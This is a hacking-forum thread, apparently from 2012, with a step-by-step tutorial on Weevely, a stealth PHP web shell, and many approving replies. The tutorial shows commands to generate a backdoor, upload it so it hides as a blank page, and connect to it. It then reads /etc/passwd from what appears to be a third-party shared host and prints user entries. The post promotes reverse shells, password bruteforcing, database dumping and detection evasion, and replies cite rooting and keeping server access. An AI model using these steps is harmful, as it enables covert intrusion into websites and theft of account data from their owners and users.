

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] How to use Weevely - Stealth tiny web shell](#)

Techie??? - April 19, 2012, 8:16 pm

How to use Weevely - Stealth tiny web shell

Introduction

Hello ladies & gentlemen. Today, in this tutorial, I will be covering how to use Weevely - A Stealth tiny Web Shell.

What is Weevely?

Weevely is a stealth PHP web shell that simulate telnet-like connection. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones.

Official website:

<http://epinna.github.com/Weevely/>

Main features:

- More than 30 modules to automatize administration and post exploitation tasks
 - o Execute commands and browse remote filesystem, even with PHP security restriction
 - o Audit common server misconfigurations
 - o Run SQL console pivoting on target machine
 - o Simple file transfer from and to target
 - o Spawn reverse and direct TCP shells
 - o Bruteforce passwords of target system users
 - o And so on..

Backdoor communications are hidden in HTTP Cookies Communications are obfuscated to bypass NIDS signature detection

Backdoor polymorphic PHP code is obfuscated to avoid HIDS AV detection

Steps on how to use.

In this tutorial I will be using Ubuntu 10.04 with Weevely installed. I installed using the .deb package. For you, if you are on Windows, you can download .py (Python) file and run it. You will need Python to be installed on your computer. Now let's go the tutorial.

1. First, I'm starting Weevely

For this, I will just type weevely on the terminal or console.

```
techie@box:~$ weevely
```

Result:

Spoiler ([Click to View](#))

Code techie@box:~\$ weeveely

Weeveely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

Start telnet-like session
weeveely <url> <password>

Run single command or module
weeveely <url> <password> <command> [argument1] [argument2] ..

Generate PHP backdoor script
weeveely generate <password> <output path>

Show modules help
weeveely <url> <password> :show [module name]

Available modules

[audit] audit.etc_passwd, audit.user_web_files, audit.user_files
[backdoor] backdoor.reverse_tcp, backdoor.tcp, backdoor.install
[bruteforce] bruteforce.sql, bruteforce.ftp_users, bruteforce.ftp, bruteforce.sql_users
[file] file.upload, file.enum, file.check, file.read, file.download
[find] find.perms, find.name, find.suidsgid, find.webdir
[shell] shell.sh, shell.php
[sql] sql.query, sql.summary, sql.dump, sql.console
[system] system.info

2. Now the second step is to generate a PHP code (backdoor).For this, we should type,

weeveely generate <password> <output path>

In my case

techie@box:~\$ weeveely generate tutorial /home/techie/bac.php

Note : techie stands for your username and tutorial is the password I give.

Result:

Code Weeveely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

+ Backdoor file '/home/techie/bac.php' created with password 'tutorial'.

Then, we can upload this code to a web server or site. If somebody visits the URL, they will just see a blank page. ?

3. Now, let's us connect to the backdoor from the terminal.

techie@box:~\$ weevely <http://site.com/dir/bac.php> tutorial

Note : tutorial is the password.

Result:

Spoiler ([Click to View](#))

Code Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

[+] Starting terminal. Shell probe may take a while...

[+] List modules with <tab> and show help with :show [module name]

user@hosting.com:/home/user/public_html/dir\$

4. Now, let's us try a simple command.

user@hosting.com:/home/user/public_html/dir\$ cat /etc/passwd

Spoiler ([Click to View](#))

Result:

Code hiebad:x:900:899::/home/hiebad:/usr/local/cpanel/bin/noshell
bahost:x:901:900::/home/bahost:/bin/false
mabofr:x:902:901::/home/mabofr:/bin/false
tiswab:x:903:902::/home/tiswab:/usr/local/cpanel/bin/noshell
timuch:x:904:903::/home/timuch:/bin/false
uonbis:x:905:904::/home/uonbis:/bin/false
tetrec:x:906:905::/home/tetrec:/usr/local/cpanel/bin/noshell
vchcho:x:907:906::/home/vchcho:/usr/local/cpanel/bin/noshell
privuw:x:908:907::/home/privuw:/usr/local/cpanel/bin/noshell

Spoiler ([Click to View](#))

?

The server I used is a big server. But I have listed only some users here.

Conclusion

Hope you understand how to use Weevely. There are also a lot of modules in Weevely. To use this, just read the help (type weevely) and do like that.

Here is a list of available Modules:

<https://github.com/epinna/Weevely/wiki/Modules-list>

Also, here is a video tutorial. (Created by the script author)

[Video: http://www.youtube.com/watch?v=2aNFP_WyCM0]

See you. ?

Sho0ter - April 19, 2012, 8:27 pm

Good job Techie.Keep up the good work.

Haters Ganna Hate - April 19, 2012, 9:32 pm

Keep getting this error, any tips?

Code Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

```
C:\Documents and Settings\d>weevely.py
```

```
'weevely.py' is not recognized as an internal or external command,  
operable program or batch file.
```

```
C:\Documents and Settings\d>cd C:\Documents and Settings\d\Desktop
```

```
C:\Documents and Settings\d\Desktop>weevely.py
```

```
Traceback (most recent call last):
```

```
File "C:\Documents and Settings\d\Desktop\weevely.py", line 21, in <module>  
    from core.terminal import Terminal, module_trigger, help_string  
File "C:\Documents and Settings\d\Desktop\core\terminal.py", line 8, in <modul  
e>
```

```
    from core.enviroinment import Enviroinment
```

```
File "C:\Documents and Settings\d\Desktop\core\enviroinment.py", line 8, in <m  
odule>
```

```
    import readline, atexit, os, re, shlex
```

```
ImportError: No module named readline
```

```
C:\Documents and Settings\d\Desktop>
```

Any help? Yes, all files are with each other, i altered nothing

Techie??? - April 19, 2012, 9:36 pm

(Apr 19, 2012 09:32 PM)Haters Ganna Hate Wrote: [\[CITE\]](#) Keep getting this error, any tips?

Code Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

```
C:\Documents and Settings\d>weevely.py
```

```
'weevely.py' is not recognized as an internal or external command,  
operable program or batch file.
```

```
C:\Documents and Settings\d>cd C:\Documents and Settings\d\Desktop
```

```
C:\Documents and Settings\d\Desktop>weevely.py
```

```
Traceback (most recent call last):
```

```
File "C:\Documents and Settings\d\Desktop\weevely.py", line 21, in <module>  
    from core.terminal import Terminal, module_trigger, help_string  
File "C:\Documents and Settings\d\Desktop\core\terminal.py", line 8, in <modul  
e>
```

```
from core.enviroinment import Enviroinment
File "C:\Documents and Settings\d\Desktop\core\enviroinment.py", line 8, in <m
odule>
import readline, atexit, os, re, shlex
ImportError: No module named readline
```

C:\Documents and Settings\d\Desktop>
Any help? Yes, all files are with each other, i altered nothing
What version of Python are you using? Which OS are you using?

Haters Ganna Hate - April 19, 2012, 9:41 pm

(Apr 19, 2012 09:36 PM)Techie. Wrote: [\[CITE\]](#) What version of Python are you using? Which OS are you using?

Windows XP with Python 2.7.3 under a VirtualBox

(Apr 19, 2012 09:36 PM)Techie. Wrote: [\[CITE\]](#) What version of Python are you using? Which OS are you using?

Windows XP with Python 2.7.3 under a VirtualBox

Techie??? - April 19, 2012, 9:50 pm

(Apr 19, 2012 09:41 PM)Haters Ganna Hate Wrote: [\[CITE\]](#) Windows XP with Python 2.7.3 under a VirtualBox

Windows XP with Python 2.7.3 under a VirtualBox
Looks like you downloaded the .py file only.

Try this : <https://github.com/downloads/epinna/Weevely/weevely-0.6.tar.gz>

Edit : Confirmed. It is working. Download the full package.
<https://github.com/downloads/epinna/Weevely/weevely-0.6.tar.gz>

Only 2 replies for 55 views? :(

Sw1x - April 20, 2012, 12:00 am

Nice tutorial, I find this very useful. :)

lprh_mcr - April 20, 2012, 1:29 am

nice one bro:
keep up the good work
oh and try trixd00r
:)

Techie??? - April 20, 2012, 1:52 am

(Apr 20, 2012 01:29 AM)lprh_mcr Wrote: [\[CITE\]](#) nice one bro:
keep up the good work
oh and try trixd00r
:)

Yes. I have been already preparing it with my friends. ;)

Stay tuned.

joomlafkr - April 20, 2012, 1:53 am

That's my favorite shell ever !
Good tutorial man ! Keep it up :D

Techie??? - April 20, 2012, 2:08 am

(Apr 20, 2012 01:53 AM)joomlafkr Wrote: [\[CITE\]](#) That's my favorite shell ever !
Good tutorial man ! Keep it up :D
Thank you man. Appreciate this. ?

Edit : Just ran up a test between Weevely and WeBaCoo. Looks like Weevely is wining. :D

joomlafkr - April 20, 2012, 5:31 am

Yeah weevely is by far better then WeBaCoo !
wel WeBaCoo has the built-in proxy support !
but'em weevely has better features !

Zhen. - April 20, 2012, 5:44 am

Great tutorial on Weevely man.
Keep it up! :)

CypherPunk - April 20, 2012, 5:59 am

Very nice tutorial , I like this shell :D
Keep up the good work
-Notieboie

noober1001 - April 20, 2012, 7:38 am

Thanks for sharing this.
Keep it up bro.

BeggFoMercy - April 20, 2012, 7:49 am

I lol'd hard on the " Ladies & gentlemen " LoL
Awesome tutorial bruh keep it up

Bacardi - April 20, 2012, 8:09 am

A very good way to maintain server access.

Good detailed tutorial, well done Techie!

Techie??? - April 20, 2012, 9:58 am

Thank you guys for your nice comments.

Haha. I didn't know how to start for HF. So I said ladies & gentlemen. LOL.

Professional Hacker - April 20, 2012, 11:35 am

I use this for rooting.

Thank you for sharing.

Techie??? - April 21, 2012, 12:28 am

Thanks for the comment guys. Keep posting. :)

Yahooo - April 21, 2012, 1:04 am

That's my favorite shell ever !
Good tutorial man ! Keep it up :D

Hooded Robin - April 21, 2012, 6:08 am

I still like WeBaCoo especially that it now has the post exploit modules you can switch to for interacting with Database or uploading files easily but this is a great tool if no one has ever used it> I highly recommend one or the other (or both) in any arsenal. Nice write up Techie!

htmnlic - April 21, 2012, 7:49 am

Loving the new tutorials Techie. Another great one from yourself. I actually downloaded Weevely, and havent used it due to not being able to find a clear enough guide for it. This has helped a lot.

Techie??? - April 21, 2012, 9:55 am

(Apr 21, 2012 06:08 AM)Hooded Robin Wrote: [\[CITE\]](#) I still like WeBaCoo especially that it now has the post exploit modules you can switch to for interacting with Database or uploading files easily but this is a great tool if no one has ever used it> I highly recommend one or the other (or both) in any arsenal. Nice write up Techie!

Well, I don't know whether it is just me. But I don't like WeBaCoo than Weevely. Because most of the functions of WeBaCoo are blocked in servers; like the default function system(). I sometimes get frustrated because some of the functions are disabled. Also, Weevely uses a better technique of connecting. I hope you didn't miss the Weevely modules. They are actually great for Pentesting, like /etc/passwd audit and SQL manager. Password protection shouldn't be forgot. Also, I used to use WeBaCoo but now I'm in love with Weevely lol. Will use WeBaCoo though. Maybe someone adds the specific features of WeBaCoo to Weevely? Hehe. Thanks. :)

(Apr 21, 2012 07:49 AM)htmnlic Wrote: [\[CITE\]](#) Loving the new tutorials Techie. Another great one from yourself. I actually downloaded Weevely, and havent used it due to not being able to find a clear enough guide for it. This has helped a lot.

Thank you. :)

If you have any suggestions, feel free to post on the suggestions thread. ?

Techie??? - April 23, 2012, 2:06 am

Glad you liked it. Thanks for posting. ?

Techie??? - May 17, 2012, 5:17 am

Make this tutorial the top for viewing. ?

Th3PonyWizard - July 3, 2012, 6:33 am

bu/\p.

Dat's a great tutorial, currently downoalading, will try this out.

gatopardos - July 3, 2012, 11:27 am

weevely is nice .. wasnt it written in python ???? well anyway webacoo is more stealthy it uses x-etag and cookies parameters for code injection .. ;)

Prominent - July 3, 2012, 12:27 pm

Very nice tutorial Techie, I tested weevely several times and it didn't let me down.

Techie??? - July 3, 2012, 8:02 pm

(Jul 3, 2012 06:33 AM)Th3PonyWizard Wrote: [\[CITE\]](#) bu/\p.

Dat's a great tutorial, currently downoalading, will try this out.

Keep on bumping good tutorials dude.

@gatopardos : Yep, it is written in Python. WeBaCoo is also a good tool but sometimes when system(), passthru() etc. are disabled, it won't work. ;)

@Prominent : Thanks. :)

The_Defiant_One - July 4, 2012, 5:16 am

Nice tut!!! Thanks for the share!!!

Xpired - July 4, 2012, 7:10 am

Techie??? good work love it keep it up

gatopardos - July 4, 2012, 10:50 am

I'm aware of that how's weevely bypassed that?

The_J0k3r - July 9, 2012, 5:35 pm

Code Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

```
C:\Documents and Settings\d>weevely.py
'weevely.py' is not recognized as an internal or external command,
operable program or batch file.
```

```
C:\Documents and Settings\d>cd C:\Documents and Settings\d\Desktop
```

```
C:\Documents and Settings\d\Desktop>weevely.py
Traceback (most recent call last):
  File "C:\Documents and Settings\d\Desktop\weevely.py", line 21, in <module>
    from core.terminal import Terminal, module_trigger, help_string
  File "C:\Documents and Settings\d\Desktop\core\terminal.py", line 8, in <modul
e>
    from core.enviroinment import Enviroinment
  File "C:\Documents and Settings\d\Desktop\core\enviroinment.py", line 8, in <m
odule>
    import readline, atexit, os, re, shlex
ImportError: No module named readline
```

```
C:\Documents and Settings\d\Desktop>
```

Sorry to it but i saw this problem and i have the solution for it, what you need to do is to download the pyreadline module for python which can be found here

<https://launchpad.net/pyreadline/+download>

just choose the installer according to your version of python and then for the right OS Architecture :) Hope it helped ;)

Techie??? - August 5, 2012, 7:34 am

Bum-p if somebody wants to read this tutorial.

assassin1729 - October 13, 2012, 1:59 am

I use Back Track 5r3 in vmware. Is there any problem if i upload it from my virtual machine??

Noah™ - October 13, 2012, 3:22 am

good tutorial looks nice will have to try this when i get my linkux back

Techie??? - October 13, 2012, 2:26 pm

Thanks. Be sure to let us know if you face any difficulties.

Mughal - November 7, 2012, 10:34 pm

[img]http://oi45.[censored].com/28btyq1.jpg[/img]

what can i D0????need ansr

1337.al - November 8, 2012, 2:37 am

That's my favorite shell ever !

Good tutorial man ! Keep it up :D